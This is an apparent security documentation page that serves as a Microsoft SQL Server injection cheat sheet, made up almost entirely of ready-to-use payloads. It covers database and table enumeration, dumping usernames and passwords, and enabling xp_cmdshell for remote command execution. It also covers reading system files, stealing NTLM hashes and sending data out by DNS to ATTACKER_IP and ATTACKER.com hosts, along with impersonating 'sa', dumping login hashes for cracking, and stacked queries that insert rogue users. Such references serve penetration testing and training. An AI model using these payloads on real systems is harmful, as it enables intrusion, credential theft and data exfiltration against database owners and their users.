Skip to main content

Documentation Index

Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt

Use this file to discover all available pages before exploring further.

Identification

SELECT @@version
-- Comment: -- or /* */
-- String concat: 'a'+'b'
-- No # comments

Information Gathering

SELECT db_name()
SELECT system_user
SELECT user_name()
SELECT @@servername
SELECT is_srvrolemember('sysadmin')

Enumerate Databases

SELECT name FROM master.sys.databases
SELECT name FROM master..sysdatabases
SELECT DB_NAME(0)         -- Current
SELECT DB_NAME(1)         -- First database

Enumerate Tables

SELECT name FROM sysobjects WHERE xtype='U'
SELECT table_name FROM information_schema.tables
SELECT name FROM DBNAME..sysobjects WHERE xtype='U'

Enumerate Columns

SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')
SELECT column_name FROM information_schema.columns WHERE table_name='users'

Dump Data

SELECT username+':'+password FROM users
SELECT TOP 1 username FROM users
SELECT TOP 1 username FROM users WHERE username NOT IN ('admin')    -- Next row

String Functions

FunctionDescription
+Concatenate
SUBSTRING(str,pos,len)Substring
LEFT(str,n)Left N chars
RIGHT(str,n)Right N chars
LEN(str)String length
ASCII(char)ASCII value
CHAR(n)Char from ASCII
UPPER(str)Uppercase
LOWER(str)Lowercase
REPLACE(str,old,new)Replace
STR(number)Number to string

Conditional

IF condition BEGIN true END ELSE BEGIN false END
CASE WHEN condition THEN true_val ELSE false_val END
IIF(condition, true_val, false_val)      -- 2012+

Time Delay

WAITFOR DELAY '0:0:5'
IF (1=1) WAITFOR DELAY '0:0:5'

Error-Based

CONVERT(int, (QUERY))
CAST((QUERY) AS int)

xp_cmdshell (RCE)

-- Enable
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;

-- Execute
EXEC xp_cmdshell 'whoami'
EXEC xp_cmdshell 'type C:\flag.txt'

File Read

SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) AS x

NTLM Hash Steal

EXEC xp_dirtree '\\ATTACKER_IP\share'
EXEC xp_fileexist '\\ATTACKER_IP\share\file'
EXEC xp_subdirs '\\ATTACKER_IP\share'

Linked Servers

EXEC sp_linkedservers
SELECT * FROM OPENQUERY([LINKED],'SELECT @@version')
EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER]

Impersonation

SELECT * FROM sys.server_permissions WHERE permission_name='IMPERSONATE'
EXECUTE AS LOGIN = 'sa'
EXEC xp_cmdshell 'whoami'

Password Hashes

SELECT name, password_hash FROM sys.sql_logins
Crack: hashcat -m 1731.

Stacked Queries

Fully supported:
'; EXEC xp_cmdshell 'whoami';-- -
'; INSERT INTO users VALUES('hack','pass');-- -

DNS Exfiltration

DECLARE @d varchar(1024)
SET @d=(SELECT DB_NAME())
EXEC('master..xp_dirtree "\\'+@d+'.ATTACKER.com\\x"')

Sources